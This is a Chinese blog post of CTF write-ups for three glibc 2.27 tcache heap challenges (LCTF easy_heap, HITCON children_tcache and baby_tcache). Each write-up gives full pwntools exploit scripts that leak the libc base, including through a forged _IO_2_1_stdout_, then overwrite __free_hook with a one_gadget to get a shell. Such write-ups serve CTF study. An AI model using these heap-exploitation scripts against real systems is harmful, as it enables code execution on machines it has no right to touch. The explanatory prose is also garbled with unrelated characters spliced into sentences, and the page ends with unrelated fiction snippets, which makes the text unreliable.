tcache機(jī)制的幾道pwn題

tcache是libc2.26之后引進(jìn)的一種新機(jī)制,之前一直沒做到,然后做幾道題熟悉一下

原理及機(jī)制

調(diào)試工具

  • 這里我直接用m4x師傅改的pwndbg在ubuntu18.04下來調(diào)試tcache

[2018 LCTF] easy_heap

  • 程序有個off by null漏洞點(diǎn)乘陪,然后libc是2.27的统台,所以存在tcache機(jī)制,當(dāng)free 7個塊tcache滿了以后啡邑,第8贱勃,9,10個塊就會放入unsorted bin中谣拣,利用off by null來free的時候向前合并,然后uaf泄漏libc地址族展,再利用tcache dup(類似double free)來對free_hook改寫成one_gadget

exp:

from pwn import *

context.log_level = 'debug'

def malloc(size,content):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('> ')
    p.sendline(str(size))
    p.recvuntil('> ')
    p.sendline(content)

def free(index):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline(str(index))

def puts(index):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(index))

p = process('./easy_heap')
#p = remote('118.25.150.134',6666 )

for i in range(10):
    malloc(0x20,'a')

for i in range(3,10):
    free(i)

for i in range(3):
    free(i)

for i in range(10):
    malloc(0x20,'a')


for i in range(6):
    free(i)

free(8) #fill tcache
free(7) #unsorted bin

malloc(0xf8,'b') #change next_chunk pre_inuse = 0

free(6) #fill tcache
free(9) #unsorted bin

#unsorted bin point to chunk[0]
for i in range(8):
    malloc(0x20,'b')

#leak libc
puts(0)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#clear unsorted bin
malloc(0x20,'d')

#free place to malloc
free(1)

#tcache dup
free(0)
free(9)

#hijack free_hook to one_gadegt
malloc(0x20,p64(free_hook))
malloc(0x20,'e')
malloc(0x20,p64(one_gadget))

#trigger one_gadget to getshelol
free(5)


p.interactive()

[2018 HITCON CTF] children_tcache

  • 漏洞點(diǎn)也是off by null森缠,libc也是2.27的,跟easy_heap差不多仪缸,但是這里可以分配任意大小的堆塊贵涵,tcache的范圍是 [0x20, 0x400),超過這個大小的就會放入unsorted bin恰画,利用off by null來free chunk的時候向前合并宾茂,然后uaf泄漏libc地址,再利用tcache dup(類似double free)來對free_hook改寫成one_gadget

exp:

from pwn import *

context.log_level = 'debug'

p = process('./children_tcache')

def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.sendline(data)

def show(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))


new(0x500,'a')
new(0x28,'a')
new(0x4f0,'a')
new(0x20,'a')

delete(0)

delete(1)
new(0x28,'a')

#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
    delete(0)
    new(0x20+8-i,'a'*(0x20+8-i))

delete(0)
new(0x20+2,'a'*0x20 + '\x40\x05')

#unsorted bin Merging forward
delete(2)

new(0x500,'a')

#leak libc
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc_base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#tcache dup
new(0x28,'a')
delete(0)
delete(2)

#hijack free_hook to one_gadget
new(0x28,p64(free_hook))
new(0x28,'a')
new(0x28,p64(one_gadget))

#trigger one_gadget
delete(1)

#gdb.attach(p)

p.interactive()

[2018 HITCON CTF] baby_tcache

  • 題目大體和children_tcache一樣拴还,off by null漏洞跨晴,但是沒有了打印函數(shù),所以要想辦法泄漏libc片林,然后這里利用IO_FILE結(jié)構(gòu)體去泄漏地址端盆,具體參考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24/
  • 所以前面前向合并的步驟跟children_tcache大體一樣怀骤,然后修改tcache的fd指針指向IO_2_1_stdout結(jié)構(gòu)體修改_IO_write_base地址就能泄漏地址根據(jù)偏移來獲得libc基址,然后后面還是一樣用double free來修改free_hook為one_gadget來getshell焕妙,這里要注意修改結(jié)構(gòu)體的時候flags要過校驗(yàn)(具體可以參考這篇文章)蒋伦,而且fd指針的地址跟IO_2_1_stdout結(jié)構(gòu)體地址需要爆破1位
#_IO_FILE flags

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影響leak的_flags

exp:

from pwn import *

context.log_level = 'debug'



def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.send(data)


def delete(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))


while True:

    try:

        p = process('./baby_tcache')

        new(0x500,'a')
        new(0x78,'a')
        new(0x4f0,'a')
        new(0x20,'a')

        #unsorted bin
        delete(0)

        delete(1)
        new(0x78,'a')

        #overwrite the pre_chunk_in_use and pre_size
        #clean pre_size
        for i in range(6):
            delete(0)
            new(0x70+8-i,'a'*(0x70+8-i))

        delete(0)
        new(0x72,'a'*0x70 + '\x90\x05')

        #unsorted bin Merging forward
        delete(2)
        delete(0)

        #hijack fd -> _IO_2_1_stdout_
        new(0x500,'a')
        new(0x88,'\x60\xc7')

        #hijack _IO_write_base to leak libc
        new(0x78,'a')
        fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
        #gdb.attach(p)
        new(0x78,fake__IO_2_1_stdout_)
        libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
        log.success('libc_base addr : 0x%x'%libc_base)
        free_hook = libc_base + 0x3ed8e8
        one_gadget = libc_base + 0x4f322
        log.success('free_hook addr : 0x%x'%free_hook)
        log.success('one_gadget addr : 0x%x'%one_gadget)

        #double free
        delete(1)
        delete(2)

        #hijack free_hook -> one_gadget
        new(0x88,p64(free_hook))
        new(0x88,'a')
        new(0x88,p64(one_gadget))

        #trigger one_gadget
        delete(0)


        p.interactive()

    except Exception as e:

        p.close()

參考文章:

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市焚鹊,隨后出現(xiàn)的幾起案子痕届,更是在濱河造成了極大的恐慌,老刑警劉巖末患,帶你破解...
    沈念sama閱讀 222,252評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件研叫,死亡現(xiàn)場離奇詭異,居然都是意外死亡阻塑,警方通過查閱死者的電腦和手機(jī)蓝撇,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,886評論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來陈莽,“玉大人渤昌,你說我怎么就攤上這事∽吒椋” “怎么了独柑?”我有些...
    開封第一講書人閱讀 168,814評論 0 361
  • 文/不壞的土叔 我叫張陵,是天一觀的道長私植。 經(jīng)常有香客問我忌栅,道長,這世上最難降的妖魔是什么曲稼? 我笑而不...
    開封第一講書人閱讀 59,869評論 1 299
  • 正文 為了忘掉前任索绪,我火速辦了婚禮,結(jié)果婚禮上贫悄,老公的妹妹穿的比我還像新娘瑞驱。我一直安慰自己,他們只是感情好窄坦,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,888評論 6 398
  • 文/花漫 我一把揭開白布唤反。 她就那樣靜靜地躺著,像睡著了一般鸭津。 火紅的嫁衣襯著肌膚如雪彤侍。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,475評論 1 312
  • 那天逆趋,我揣著相機(jī)與錄音盏阶,去河邊找鬼。 笑死闻书,一個胖子當(dāng)著我的面吹牛般哼,可吹牛的內(nèi)容都是我干的吴汪。 我是一名探鬼主播,決...
    沈念sama閱讀 41,010評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼蒸眠,長吁一口氣:“原來是場噩夢啊……” “哼漾橙!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起楞卡,我...
    開封第一講書人閱讀 39,924評論 0 277
  • 序言:老撾萬榮一對情侶失蹤霜运,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后蒋腮,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體淘捡,經(jīng)...
    沈念sama閱讀 46,469評論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,552評論 3 342
  • 正文 我和宋清朗相戀三年池摧,在試婚紗的時候發(fā)現(xiàn)自己被綠了焦除。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,680評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡作彤,死狀恐怖膘魄,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情竭讳,我是刑警寧澤创葡,帶...
    沈念sama閱讀 36,362評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站绢慢,受9級特大地震影響灿渴,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜胰舆,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,037評論 3 335
  • 文/蒙蒙 一骚露、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧缚窿,春花似錦棘幸、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,519評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蓝翰。三九已至光绕,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間畜份,已是汗流浹背诞帐。 一陣腳步聲響...
    開封第一講書人閱讀 33,621評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留爆雹,地道東北人停蕉。 一個月前我還...
    沈念sama閱讀 49,099評論 3 378
  • 正文 我出身青樓愕鼓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親慧起。 傳聞我的和親對象是個殘疾皇子菇晃,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,691評論 2 361

推薦閱讀更多精彩內(nèi)容